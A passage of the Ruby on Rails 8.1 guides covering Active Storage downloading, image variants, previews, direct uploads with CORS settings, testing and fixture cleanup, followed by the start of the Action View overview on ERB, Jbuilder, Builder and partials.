  def show
    redirect_to Current.account.logo.url
  end
end
```

```
<%= image_tag account_logo_path %>
```

And then you should disable the Active Storage default routes with:

```
config.active_storage.draw_routes = false
```

to prevent files being accessed with the publicly accessible URLs.

If you only need to mount the Active Storage routes at a different path or with additional routing options, configure `config.active_storage.routes_prefix` instead. It accepts any value supported by `scope`, so you can pass a string path prefix or a hash of routing options:

```
config.active_storage.routes_prefix = "/files"
config.active_storage.routes_prefix = { path: "/files", subdomain: "assets" }
```

## [7. Downloading Files](#downloading-files)

Sometimes you need to process a blob after it’s uploaded—for example, to convert it to a different format. Use the attachment's [`download`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Blob.html#method-i-download) method to read a blob’s binary data into memory:

```
binary = user.avatar.download
```

You might want to download a blob to a file on disk so an external program (e.g. a virus scanner or media transcoder) can operate on it. Use the attachment's [`open`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Blob.html#method-i-open) method to download a blob to a tempfile on disk:

```
message.video.open do |file|
  system "/path/to/virus/scanner", file.path
  # ...
end
```

It's important to know that the file is not yet available in the `after_create` callback but in the `after_create_commit` only.

## [8. Analyzing Files](#analyzing-files)

Active Storage analyzes files once they've been uploaded by queuing a job in Active Job. Analyzed files will store additional information in the metadata hash, including `analyzed: true`. You can check whether a blob has been analyzed by calling [`analyzed?`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Blob/Analyzable.html#method-i-analyzed-3F) on it.

Image analysis provides `width` and `height` attributes. Video analysis provides these, as well as `duration`, `angle`, `display_aspect_ratio`, and `video` and `audio` booleans to indicate the presence of those channels. Audio analysis provides `duration` and `bit_rate` attributes.

## [9. Displaying Images, Videos, and PDFs](#displaying-images-videos-and-pdfs)

Active Storage supports representing a variety of files. You can call [`representation`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Blob/Representable.html#method-i-representation) on an attachment to display an image variant, or a preview of a video or PDF. Before calling `representation`, check if the attachment can be represented by calling [`representable?`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Blob/Representable.html#method-i-representable-3F). Some file formats can't be previewed by Active Storage out of the box (e.g. Word documents); if `representable?` returns false you may want to [link to](#serving-files) the file instead.

```
<ul>
  <% @message.files.each do |file| %>
    <li>
      <% if file.representable? %>
        <%= image_tag file.representation(resize_to_limit: [100, 100]) %>
      <% else %>
        <%= link_to rails_blob_path(file, disposition: "attachment") do %>
          <%= image_tag "placeholder.png", alt: "Download file" %>
        <% end %>
      <% end %>
    </li>
  <% end %>
</ul>
```

Internally, `representation` calls `variant` for images, and `preview` for previewable files. You can also call these methods directly.

### [9.1. Lazy vs Immediate Loading](#lazy-vs-immediate-loading)

By default, Active Storage will process representations lazily. This code:

```
image_tag file.representation(resize_to_limit: [100, 100])
```

Will generate an `<img>` tag with the `src` pointing to the [`ActiveStorage::Representations::RedirectController`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Representations/RedirectController.html). The browser will make a request to that controller, which will perform the following:

1. Process file and upload the processed file if necessary.

2. Return a `302` redirect to the file either to

   * the remote service (e.g., S3).
   * or `ActiveStorage::Blobs::ProxyController` which will return the file contents if [proxy mode](#proxy-mode) is enabled.

Loading the file lazily allows features like [single use URLs](#public-access) to work without slowing down your initial page loads.

This works fine for most cases.

If you want to generate URLs for images immediately, you can call `.processed.url`:

```
image_tag file.representation(resize_to_limit: [100, 100]).processed.url
```

The Active Storage variant tracker improves performance of this, by storing a record in the database if the requested representation has been processed before. Thus, the above code will only make an API call to the remote service (e.g. S3) once, and once a variant is stored, will use that. The variant tracker runs automatically, but can be disabled through [`config.active_storage.track_variants`](configuring.html#config-active-storage-track-variants).

If you're rendering lots of images on a page, the above example could result in N+1 queries loading all the variant records. To avoid these N+1 queries, use the named scopes on [`ActiveStorage::Attachment`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Attachment.html).

```
message.images.with_all_variant_records.each do |file|
  image_tag file.representation(resize_to_limit: [100, 100]).processed.url
end
```

### [9.2. Transforming Images](#transforming-images)

Transforming images allows you to display the image at your choice of dimensions. To create a variation of an image, call [`variant`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Blob/Representable.html#method-i-variant) on the attachment. You can pass any transformation supported by the variant processor to the method. When the browser hits the variant URL, Active Storage will lazily transform the original blob into the specified format and redirect to its new service location.

```
<%= image_tag user.avatar.variant(resize_to_limit: [100, 100]) %>
```

It should be considered unsafe to provide arbitrary user supplied transformations or parameters to variant processors. This can potentially enable command injection vulnerabilities in your app.

It is also recommended to implement a strict [ImageMagick security policy](https://imagemagick.org/script/security-policy.php) when MiniMagick is the variant processor of choice, or when libvips is delegating to ImageMagick (run `vips -l` on your platform).

If a variant is requested, Active Storage will automatically apply transformations depending on the image's format:

1. Content types that are variable (as dictated by [`config.active_storage.variable_content_types`](configuring.html#config-active-storage-variable-content-types)) and not considered web images (as dictated by [`config.active_storage.web_image_content_types`](configuring.html#config-active-storage-web-image-content-types)), will be converted to PNG.

2. If `quality` is not specified, the variant processor's default quality for the format will be used.

Active Storage can use either [Vips](https://www.rubydoc.info/gems/ruby-vips/Vips/Image) or MiniMagick as the variant processor. The default depends on your `config.load_defaults` target version, and the processor can be changed by setting [`config.active_storage.variant_processor`](configuring.html#config-active-storage-variant-processor).

#### [9.2.1. Disabled Vips Image Loaders and Savers](#disabled-vips-image-loaders-and-savers)

libvips marks some of its image loaders and savers as [unfuzzed](https://www.libvips.org/2022/05/28/What's-new-in-8.13.html#blocking-of-unfuzzed-loaders), meaning they should not be used to process untrusted content. Active Storage disables all of them while your application boots, before any initializer runs.

Doing so requires libvips 8.13 or later and ruby-vips 2.2.1 or later, which are Active Storage's minimum supported versions. When ruby-vips is installed and either minimum is not met, Active Storage raises a `RuntimeError` while booting rather than run in an unsecurable environment. Upgrade libvips and ruby-vips.

Notably, ImageMagick is marked as an unfuzzed loader and is disabled by default. On many platforms, libvips relies on ImageMagick to read BMP, ICO, and PSD files, so attachments in those formats cannot be transformed by default on those platforms. Attaching, storing, and downloading them is unaffected, but generating a variant raises `Vips::Error`, and analysis does not record their `width` and `height`.

Analysis also does not record dimensions for other types that libvips reads with an unfuzzed loader, such as SVG, JPEG XL, JPEG 2000, and Netpbm. Those types are not in the default `ActiveStorage.variable_content_types`, so they are not variable in the first place.

The savers marked unfuzzed are typically FITS, JXL, and ImageMagick, so requesting one of those as a variant's output format, such as `variant(format: :jxl)`, also raises `Vips::Error`.

An application that needs BMP, ICO, or PSD variants of trusted inputs can re-enable the ImageMagick loader in an initializer:

```
# config/initializers/vips.rb
Vips.block("VipsForeignLoadMagick", false) # Note this is dangerous for untrusted content!
```

Operation names and which of them are marked unfuzzed are both platform-dependent, so run `vips -l` to see the class hierarchy for your build.

Re-enabling unfuzzed image loaders and savers is dangerous. You should only attempt this after researching how your distribution builds libvips and which library delegates are enabled.

Even re-enabling only the ImageMagick loader, as illustrated above, is dangerous. libvips delegates many more file types to ImageMagick than just BMP, ICO, and PSD, so re-enabling it exposes a much larger attack surface. Do this only when all image uploads are trusted content, and only alongside a strict [ImageMagick security policy](https://imagemagick.org/script/security-policy.php).

### [9.3. Previewing Files](#previewing-files)

Some non-image files can be previewed: that is, they can be presented as images. For example, a video file can be previewed by extracting its first frame. Out of the box, Active Storage supports previewing videos and PDF documents. To create a link to a lazily-generated preview, use the attachment's [`preview`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Blob/Representable.html#method-i-preview) method:

```
<%= image_tag message.video.preview(resize_to_limit: [100, 100]) %>
```

To add support for another format, add your own previewer. See the [`ActiveStorage::Preview`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Preview.html) documentation for more information.

## [10. Direct Uploads](#direct-uploads)

Active Storage, with its included JavaScript library, supports uploading directly from the client to the cloud.

### [10.1. Usage](#usage)

1. Include the Active Storage JavaScript in your application's JavaScript bundle or reference it directly.

   Requiring directly without bundling through the asset pipeline in the application HTML with autostart:

   ```
   <%= javascript_include_tag "activestorage" %>
   ```

   Requiring via importmap-rails without bundling through the asset pipeline in the application HTML without autostart as ESM:

   ```
   # config/importmap.rb
   pin "@rails/activestorage", to: "activestorage.esm.js"
   ```

   ```
   <script type="module-shim">
     import * as ActiveStorage from "@rails/activestorage"
     ActiveStorage.start()
   </script>
   ```

   Using the asset pipeline:

   ```
   //= require activestorage
   ```

   Using the npm package:

   ```
   import * as ActiveStorage from "@rails/activestorage"
   ActiveStorage.start()
   ```

2. Annotate file inputs with the direct upload URL using Rails' [file field helper](form_helpers.html#uploading-files).

   ```
   <%= form.file_field :attachments, multiple: true, direct_upload: true %>
   ```

   Or, if you aren't using a `FormBuilder`, add the data attribute directly:

   ```
   <input type="file" data-direct-upload-url="<%= rails_direct_uploads_url %>" />
   ```

3. Configure CORS on third-party storage services to allow direct upload requests.

4. That's it! Uploads begin upon form submission.

### [10.2. Cross-Origin Resource Sharing (CORS) Configuration](#cross-origin-resource-sharing-cors-configuration)

To make direct uploads to a third-party service work, you’ll need to configure the service to allow cross-origin requests from your app. Consult the CORS documentation for your service:

* [S3](https://docs.aws.amazon.com/AmazonS3/latest/userguide/enabling-cors-examples.html)
* [Google Cloud Storage](https://cloud.google.com/storage/docs/configuring-cors)

Take care to allow:

* All origins from which your app is accessed

* The `PUT` request method

* The following headers:

  * `Content-Type`
  * `Content-MD5`
  * `Content-Disposition`
  * `Cache-Control` (for GCS, only if `cache_control` is set)

No CORS configuration is required for the Disk service since it shares your app’s origin.

#### [10.2.1. Example: S3 CORS Configuration](#example-s3-cors-configuration)

```
[
  {
    "AllowedHeaders": [
      "Content-Type",
      "Content-MD5",
      "Content-Disposition"
    ],
    "AllowedMethods": [
      "PUT"
    ],
    "AllowedOrigins": [
      "https://www.example.com"
    ],
    "MaxAgeSeconds": 3600
  }
]
```

#### [10.2.2. Example: Google Cloud Storage CORS Configuration](#example-google-cloud-storage-cors-configuration)

```
[
  {
    "origin": ["https://www.example.com"],
    "method": ["PUT"],
    "responseHeader": ["Content-Type", "Content-MD5", "Content-Disposition"],
    "maxAgeSeconds": 3600
  }
]
```

### [10.3. Direct Upload JavaScript Events](#direct-upload-javascript-events)

| Event name                             | Event target | Event data (`event.detail`) | Description                                                               |
| -------------------------------------- | ------------ | --------------------------- | ------------------------------------------------------------------------- |
| `direct-uploads:start`                 | `<form>`     | None                        | A form containing files for direct upload fields was submitted.           |
| `direct-upload:initialize`             | `<input>`    | `{id, file}`                | Dispatched for every file after form submission.                          |
| `direct-upload:start`                  | `<input>`    | `{id, file}`                | A direct upload is starting.                                              |
| `direct-upload:before-blob-request`    | `<input>`    | `{id, file, xhr}`           | Before making a request to your application for direct upload metadata.   |
| `direct-upload:before-storage-request` | `<input>`    | `{id, file, xhr}`           | Before making a request to store a file.                                  |
| `direct-upload:progress`               | `<input>`    | `{id, file, progress}`      | As requests to store files progress.                                      |
| `direct-upload:error`                  | `<input>`    | `{id, file, error}`         | An error occurred. An `alert` will display unless this event is canceled. |
| `direct-upload:end`                    | `<input>`    | `{id, file}`                | A direct upload has ended.                                                |
| `direct-uploads:end`                   | `<form>`     | None                        | All direct uploads have ended.                                            |

### [10.4. Example](#example)

You can use these events to show the progress of an upload.

To show the uploaded files in a form:

```
// direct_uploads.js

addEventListener("direct-upload:initialize", event => {
  const { target, detail } = event
  const { id, file } = detail
  target.insertAdjacentHTML("beforebegin", `
    <div id="direct-upload-${id}" class="direct-upload direct-upload--pending">
      <div id="direct-upload-progress-${id}" class="direct-upload__progress" style="width: 0%"></div>
      <span class="direct-upload__filename"></span>
    </div>
  `)
  target.previousElementSibling.querySelector(`.direct-upload__filename`).textContent = file.name
})

addEventListener("direct-upload:start", event => {
  const { id } = event.detail
  const element = document.getElementById(`direct-upload-${id}`)
  element.classList.remove("direct-upload--pending")
})

addEventListener("direct-upload:progress", event => {
  const { id, progress } = event.detail
  const progressElement = document.getElementById(`direct-upload-progress-${id}`)
  progressElement.style.width = `${progress}%`
})

addEventListener("direct-upload:error", event => {
  event.preventDefault()
  const { id, error } = event.detail
  const element = document.getElementById(`direct-upload-${id}`)
  element.classList.add("direct-upload--error")
  element.setAttribute("title", error)
})

addEventListener("direct-upload:end", event => {
  const { id } = event.detail
  const element = document.getElementById(`direct-upload-${id}`)
  element.classList.add("direct-upload--complete")
})
```

Add styles:

```
/* direct_uploads.css */

.direct-upload {
  display: inline-block;
  position: relative;
  padding: 2px 4px;
  margin: 0 3px 3px 0;
  border: 1px solid rgba(0, 0, 0, 0.3);
  border-radius: 3px;
  font-size: 11px;
  line-height: 13px;
}

.direct-upload--pending {
  opacity: 0.6;
}

.direct-upload__progress {
  position: absolute;
  top: 0;
  left: 0;
  bottom: 0;
  opacity: 0.2;
  background: #0076ff;
  transition: width 120ms ease-out, opacity 60ms 60ms ease-in;
  transform: translate3d(0, 0, 0);
}

.direct-upload--complete .direct-upload__progress {
  opacity: 0.4;
}

.direct-upload--error {
  border-color: red;
}

input[type=file][data-direct-upload-url][disabled] {
  display: none;
}
```

### [10.5. Custom drag and drop solutions](#custom-drag-and-drop-solutions)

You can use the `DirectUpload` class for this purpose. Upon receiving a file from your library of choice, instantiate a DirectUpload and call its create method. Create takes a callback to invoke when the upload completes.

```
import { DirectUpload } from "@rails/activestorage"

const input = document.querySelector('input[type=file]')

// Bind to file drop - use the ondrop on a parent element or use a
//  library like Dropzone
const onDrop = (event) => {
  event.preventDefault()
  const files = event.dataTransfer.files;
  Array.from(files).forEach(file => uploadFile(file))
}

// Bind to normal file selection
input.addEventListener('change', (event) => {
  Array.from(input.files).forEach(file => uploadFile(file))
  // you might clear the selected files from the input
  input.value = null
})

const uploadFile = (file) => {
  // your form needs the file_field direct_upload: true, which
  //  provides data-direct-upload-url
  const url = input.dataset.directUploadUrl
  const upload = new DirectUpload(file, url)

  upload.create((error, blob) => {
    if (error) {
      // Handle the error
    } else {
      // Add an appropriately-named hidden input to the form with a
      //  value of blob.signed_id so that the blob ids will be
      //  transmitted in the normal upload flow
      const hiddenField = document.createElement('input')
      hiddenField.setAttribute("type", "hidden");
      hiddenField.setAttribute("value", blob.signed_id);
      hiddenField.name = input.name
      document.querySelector('form').appendChild(hiddenField)
    }
  })
}
```

### [10.6. Track the progress of the file upload](#track-the-progress-of-the-file-upload)

When using the `DirectUpload` constructor, it is possible to include a third parameter. This will allow the `DirectUpload` object to invoke the `directUploadWillStoreFileWithXHR` method during the upload process. You can then attach your own progress handler to the XHR to suit your needs.

```
import { DirectUpload } from "@rails/activestorage"

class Uploader {
  constructor(file, url) {
    this.upload = new DirectUpload(file, url, this)
  }

  uploadFile(file) {
    this.upload.create((error, blob) => {
      if (error) {
        // Handle the error
      } else {
        // Add an appropriately-named hidden input to the form
        // with a value of blob.signed_id
      }
    })
  }

  directUploadWillStoreFileWithXHR(request) {
    request.upload.addEventListener("progress",
      event => this.directUploadDidProgress(event))
  }

  directUploadDidProgress(event) {
    // Use event.loaded and event.total to update the progress bar
  }
}
```

### [10.7. Integrating with Libraries or Frameworks](#integrating-with-libraries-or-frameworks)

Once you receive a file from the library you have selected, you need to create a `DirectUpload` instance and use its "create" method to initiate the upload process, adding any required additional headers as necessary. The "create" method also requires a callback function to be provided that will be triggered once the upload has finished.

```
import { DirectUpload } from "@rails/activestorage"

class Uploader {
  constructor(file, url, token) {
    const headers = { 'Authentication': `Bearer ${token}` }
    // INFO: Sending headers is an optional parameter. If you choose not to send headers,
    //       authentication will be performed using cookies or session data.
    this.upload = new DirectUpload(file, url, this, headers)
  }

  uploadFile(file) {
    this.upload.create((error, blob) => {
      if (error) {
        // Handle the error
      } else {
        // Use the with blob.signed_id as a file reference in next request
      }
    })
  }

  directUploadWillStoreFileWithXHR(request) {
    request.upload.addEventListener("progress",
      event => this.directUploadDidProgress(event))
  }

  directUploadDidProgress(event) {
    // Use event.loaded and event.total to update the progress bar
  }
}
```

To implement customized authentication, a new controller must be created on the Rails application, similar to the following:

```
class DirectUploadsController < ActiveStorage::DirectUploadsController
  skip_forgery_protection
  before_action :authenticate!

  def authenticate!
    @token = request.headers["Authorization"]&.split&.last

    head :unauthorized unless valid_token?(@token)
  end
end
```

Using [Direct Uploads](#direct-uploads) can sometimes result in a file that uploads, but never attaches to a record. Consider [purging unattached uploads](#purging-unattached-uploads).

## [11. Testing](#testing)

Use [`file_fixture_upload`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/TestProcess/FixtureFile.html#method-i-file_fixture_upload) to test uploading a file in an integration or controller test. Rails handles files like any other parameter.

```
class SignupController < ActionDispatch::IntegrationTest
  test "can sign up" do
    post signup_path, params: {
      name: "David",
      avatar: file_fixture_upload("david.png", "image/png")
    }

    user = User.order(:created_at).last
    assert user.avatar.attached?
  end
end
```

### [11.1. Discarding Files Created During Tests](#discarding-files-created-during-tests)

#### [11.1.1. System Tests](#system-tests)

System tests clean up test data by rolling back a transaction. Because `destroy` is never called on an object, the attached files are never cleaned up. If you want to clear the files, you can do it in an `after_teardown` callback. Doing it here ensures that all connections created during the test are complete and you won't receive an error from Active Storage saying it can't find a file.

```
class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
  # ...
  def after_teardown
    super
    FileUtils.rm_rf(ActiveStorage::Blob.service.root)
  end
  # ...
end
```

If you're using [parallel tests](testing.html#parallel-testing) and the `DiskService`, you should configure each process to use its own folder for Active Storage. This way, the `teardown` callback will only delete files from the relevant process' tests.

```
class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
  # ...
  parallelize_setup do |i|
    ActiveStorage::Blob.service.root = "#{ActiveStorage::Blob.service.root}-#{i}"
  end
  # ...
end
```

If your system tests verify the deletion of a model with attachments and you're using Active Job, set your test environment to use the inline queue adapter so the purge job is executed immediately rather at an unknown time in the future.

```
# Use inline job processing to make things happen immediately
config.active_job.queue_adapter = :inline
```

#### [11.1.2. Integration Tests](#integration-tests)

Similarly to System Tests, files uploaded during Integration Tests will not be automatically cleaned up. If you want to clear the files, you can do it in an `teardown` callback.

```
class ActionDispatch::IntegrationTest
  def after_teardown
    super
    FileUtils.rm_rf(ActiveStorage::Blob.service.root)
  end
end
```

If you're using [parallel tests](testing.html#parallel-testing) and the Disk service, you should configure each process to use its own folder for Active Storage. This way, the `teardown` callback will only delete files from the relevant process' tests.

```
class ActionDispatch::IntegrationTest
  parallelize_setup do |i|
    ActiveStorage::Blob.service.root = "#{ActiveStorage::Blob.service.root}-#{i}"
  end
end
```

### [11.2. Adding Attachments to Fixtures](#adding-attachments-to-fixtures)

You can add attachments to your existing [fixtures](testing.html#fixtures). First, you'll want to create a separate storage service:

```
# config/storage.yml

test_fixtures:
  service: Disk
  root: <%= Rails.root.join("tmp/storage_fixtures") %>
```

This tells Active Storage where to "upload" fixture files to, so it should be a temporary directory. By making it a different directory to your regular `test` service, you can separate fixture files from files uploaded during a test.

Next, create fixture files for the Active Storage classes:

```
# test/fixtures/active_storage/attachments.yml
david_avatar:
  name: avatar
  record: david (User)
  blob: david_avatar_blob
```

```
# test/fixtures/active_storage/blobs.yml
david_avatar_blob: <%= ActiveStorage::FixtureSet.blob filename: "david.png", service_name: "test_fixtures" %>
```

Then put a file in your fixtures directory (the default path is `test/fixtures/files`) with the corresponding filename. See the [`ActiveStorage::FixtureSet`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/FixtureSet.html) docs for more information.

Once everything is set up, you'll be able to access attachments in your tests:

```
class UserTest < ActiveSupport::TestCase
  def test_avatar
    avatar = users(:david).avatar

    assert avatar.attached?
    assert_not_nil avatar.download
    assert_equal 1000, avatar.byte_size
  end
end
```

#### [11.2.1. Cleaning up Fixtures](#cleaning-up-fixtures)

While files uploaded in tests are cleaned up [at the end of each test](#discarding-files-created-during-tests), you only need to clean up fixture files once: when all your tests complete.

If you're using parallel tests, call `parallelize_teardown`:

```
class ActiveSupport::TestCase
  # ...
  parallelize_teardown do |i|
    FileUtils.rm_rf(ActiveStorage::Blob.services.fetch(:test_fixtures).root)
  end
  # ...
end
```

If you're not running parallel tests, use `Minitest.after_run` or the equivalent for your test framework (e.g. `after(:suite)` for RSpec):

```
# test_helper.rb

Minitest.after_run do
  FileUtils.rm_rf(ActiveStorage::Blob.services.fetch(:test_fixtures).root)
end
```

### [11.3. Configuring services](#configuring-services)

You can add `config/storage/test.yml` to configure services to be used in test environment. This is useful when the `service` option is used.

```
class User < ApplicationRecord
  has_one_attached :avatar, service: :s3
end
```

Without `config/storage/test.yml`, the `s3` service configured in `config/storage.yml` is used - even when running tests.

The default configuration would be used and files would be uploaded to the service provider configured in `config/storage.yml`.

In this case, you can add `config/storage/test.yml` and use Disk service for `s3` service to prevent sending requests.

```
test:
  service: Disk
  root: <%= Rails.root.join("tmp/storage") %>

s3:
  service: Disk
  root: <%= Rails.root.join("tmp/storage") %>
```

## [12. Implementing Support for Other Cloud Services](#implementing-support-for-other-cloud-services)

If you need to support a cloud service other than these, you will need to implement the Service. Each service extends [`ActiveStorage::Service`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Service.html) by implementing the methods necessary to upload and download files to the cloud.

## [13. Purging Unattached Uploads](#purging-unattached-uploads)

There are cases where a file is uploaded but never attached to a record. This can happen when using [Direct Uploads](#direct-uploads). You can query for unattached records using the [unattached scope](https://github.com/rails/rails/blob/8ef5bd9ced351162b673904a0b77c7034ca2bc20/activestorage/app/models/active_storage/blob.rb#L49). Below is an example using a [custom rake task](command_line.html#custom-rake-tasks).

```
namespace :active_storage do
  desc "Purges unattached Active Storage blobs. Run regularly."
  task purge_unattached: :environment do
    ActiveStorage::Blob.unattached.where(created_at: ..2.days.ago).find_each(&:purge_later)
  end
end
```

The query generated by `ActiveStorage::Blob.unattached` can be slow and potentially disruptive on applications with larger databases.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/action_view_overview.html
----

***

## [1. What is Action View?](#what-is-action-view-questionmark)

Action View is the V in [MVC](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller). [Action Controller](action_controller_overview.html) and Action View work together to handle web requests. Action Controller is concerned with communicating with the model layer (of MVC) and retrieving data. Action View is then responsible for rendering a response body to the web request using that data.

By default, Action View templates (also referred to simply as "views") are written using Embedded Ruby (ERB), which allows using Ruby code within HTML documents.

Action View provides many [helper](#helpers) methods for dynamically generating HTML tags for forms, dates, and strings. It's also possible to add custom helpers to your application as needed.

Action View can make use of Active Model features like [`to_param`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Conversion.html#method-i-to_param) and [`to_partial_path`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Conversion.html#method-i-to_partial_path) to simplify code. That doesn't mean Action View depends on Active Model. Action View is an independent package that can be used with any Ruby library.

## [2. Using Action View with Rails](#using-action-view-with-rails)

Action View templates (aka "views") are stored in subdirectories in the `app/views` directory. There is a subdirectory matching the name of each controller. The view files inside that subdirectory are used to render specific views as a response to controller actions.

For example, when you use scaffolding to generate an `article` resource, Rails generates the following files in `app/views/articles`:

```
$ bin/rails generate scaffold article
      [...]
      invoke  scaffold_controller
      create    app/controllers/articles_controller.rb
      invoke    erb
      create      app/views/articles
      create      app/views/articles/index.html.erb
      create      app/views/articles/edit.html.erb
      create      app/views/articles/show.html.erb
      create      app/views/articles/new.html.erb
      create      app/views/articles/_form.html.erb
      [...]
```

The file names follow a Rails naming convention. They share their name with the associated controller action. For example the `index.html.erb`, `edit.html.erb`, etc.

By following this naming convention, Rails will automatically find and render the matching view at the end of a controller action, without you having to specify it. For example, the `index` action in the `articles_controller.rb` will automatically render the `index.html.erb` view inside the `app/views/articles/` directory. The name and the location of the file are both important.

The final HTML returned to the client is composed of a combination of the `.html.erb` ERB file, a layout template that wraps it, and all the partials that the ERB file may reference. In the rest of this guide, you will find more details about each of the three components: `Templates`, `Partials`, `Layouts`.

## [3. Templates](#templates)

Action View templates can be written in different formats. If the template file has a `.erb` extension, it uses embedded Ruby to build an HTML response. If the template has a `.jbuilder` extension, it uses the [Jbuilder](https://github.com/rails/jbuilder) gem to build a JSON response. And a template with a `.builder` extension uses the [`Builder::XmlMarkup`](https://github.com/rails/builder) library to build an XML response.

Rails uses the file extension to distinguish among multiple template systems. For example, an HTML file using the ERB template system will have `.html.erb` as a file extension, and a JSON file using the Jbuilder template system will have the `.json.jbuilder` file extension. Other libraries may add other template types and file extensions as well.

### [3.1. ERB](#erb)

An ERB template is a way to sprinkle Ruby code within static HTML using special ERB tags like `<% %>` and `<%= %>`.

When Rails processes the ERB view templates ending with `.html.erb`, it evaluates the embedded Ruby code and replaces the ERB tags with the dynamic output. That dynamic content is combined with the static HTML markup to form the final HTML response.

Within an ERB template, Ruby code can be included using both `<% %>` and `<%= %>` tags. The `<% %>` tag (without the `=`) is used when you want to execute Ruby code but not directly output the result, such as conditions or loops. The tag `<%= %>` is used for Ruby code that generates an output and you want that output rendered within the template, such as a model attribute like `person.name` in this example:

```
<h1>Names</h1>
<% @people.each do |person| %>
  Name: <%= person.name %><br>
<% end %>
```

The loop is set up using regular embedding tags (`<% %>`) and the name is inserted using the output embedding tags (`<%= %>`).

Note that functions such as `print` and `puts` won't be rendered to the view with ERB templates. So something like this would not work:

```
<%# WRONG %>
Hi, Mr. <% puts "Frodo" %>
```

The above example shows that comments can be added in ERB within `<%# %>` tag.

To suppress leading and trailing whitespaces, you can use `<%-` `-%>` interchangeably with `<%` and `%>`.

### [3.2. Jbuilder](#jbuilder)

`Jbuilder` is a gem that's maintained by the Rails team and included in the default Rails `Gemfile`. It is used to build JSON responses using templates.

If you don't have it, you can add the following to your `Gemfile`:

```
gem "jbuilder"
```

A `Jbuilder` object named `json` is automatically made available to templates with a `.jbuilder` extension.

Here is a basic example:

```
json.name("Alex")
json.email("alex@example.com")
```

would produce:

```
{
  "name": "Alex",
  "email": "alex@example.com"
}
```

See the [Jbuilder documentation](https://github.com/rails/jbuilder#jbuilder) for more examples.

### [3.3. Builder](#builder)

Builder templates are a more programmatic alternative to ERB. It's similar to `JBuilder` but is used to generate XML, instead of JSON.

An `XmlMarkup` object named `xml` is automatically made available to templates with a `.builder` extension.

Here is a basic examples:

```
xml.em("emphasized")
xml.em { xml.b("emph & bold") }
xml.a("A Link", "href" => "https://rubyonrails.org")
xml.target("name" => "compile", "option" => "fast")
```

which would produce:

```
<em>emphasized</em>
<em><b>emph &amp; bold</b></em>
<a href="https://rubyonrails.org">A link</a>
<target option="fast" name="compile" />
```

Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:

```
xml.div {
  xml.h1(@person.name)
  xml.p(@person.bio)
}
```

would produce something like:

```
<div>
  <h1>David Heinemeier Hansson</h1>
  <p>A product of Danish Design during the Winter of '79...</p>
</div>
```

See [Builder documentation](https://github.com/rails/builder) for more examples.

### [3.4. Template Compilation](#template-compilation)

By default, Rails will compile each template to a method to render it. In the development environment, when you alter a template, Rails will check the file's modification time and recompile it.

There is also Fragment Caching for when different parts of the page need to be cached and expired separately. Learn more about it in the [caching guide](caching_with_rails.html#fragment-caching).

## [4. Partials](#partials)

Partial templates - usually just called "partials" - are a way of breaking up the view templates into smaller reusable chunks. With partials, you can extract a piece of code from your main template to a separate smaller file, and render that file in the main template. You can also pass data to the partial files from the main template.

Let's see this in action with some examples:

### [4.1. Rendering Partials](#rendering-partials)

To render a partial as part of a view, you use the [`render`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/RenderingHelper.html#method-i-render) method within the view:

```
<%= render "product" %>
```

This will look for a file named `_product.html.erb` in the same folder to render within that view. Partial file names start with leading underscore character by convention. The file name distinguishes partials from regular views. However, no underscore is used when referring to partials for rendering within a view. This is true even when you reference a partial from another directory:

```
<%= render "application/product" %>
```

That code will look for and display a partial file named `_product.html.erb` in `app/views/application/`.

### [4.2. Using Partials to Simplify Views](#using-partials-to-simplify-views)

One way to use partials is to treat them as the equivalent of methods. A way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looks like this:

```
<%= render "application/ad_banner" %>

<h1>Products</h1>

<p>Here are a few of our fine products:</p>
<% @products.each do |product| %>
  <%= render partial: "product", locals: { product: product } %>
<% end %>

<%= render "application/footer" %>
```

Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're focused on a Products' page.

The above example also uses the `_product.html.erb` partial. This partial contains details for rendering an individual product and is used to render each product in the collection `@products`.

### [4.3. Passing Data to Partials with `locals` Option](#passing-data-to-partials-with-locals-option)

When rendering a partial, you can pass data to the partial from the rendering view. You use the `locals:` options hash for this. Each key in the `locals:` option is available as a partial-local variable:

```
<%# app/views/products/show.html.erb %>

<%= render partial: "product", locals: { my_product: @product } %>

<%# app/views/products/_product.html.erb %>

<%= tag.div id: dom_id(my_product) do %>
  <h1><%= my_product.name %></h1>
<% end %>
```

A "partial-local variable" is a variable that is local to a given partial and only available from within that partial. In the above example, `my_product` is a partial-local variable. It was assigned the value of `@product` when passed to the partial from the original view.

Note that typically we'd simply call this local variable `product`. We are using `my_product` to distinguish it from the instance variable name and template name in this example.

Since `locals` is a hash, you can pass in multiple variables as needed, like `locals: { my_product: @product, my_reviews: @reviews }`.

However, if a template refers to a variable that *isn't* passed into the view as part of the `locals:` option, the template will raise an `ActionView::Template::Error`:

```
<%# app/views/products/_product.html.erb %>

<%= tag.div id: dom_id(my_product) do %>
  <h1><%= my_product.name %></h1>

  <%# => raises ActionView::Template::Error for `product_reviews` %>
  <% product_reviews.each do |review| %>
    <%# ... %>
  <% end %>
<% end %>
```

### [4.4. Using `local_assigns`](#using-local-assigns)

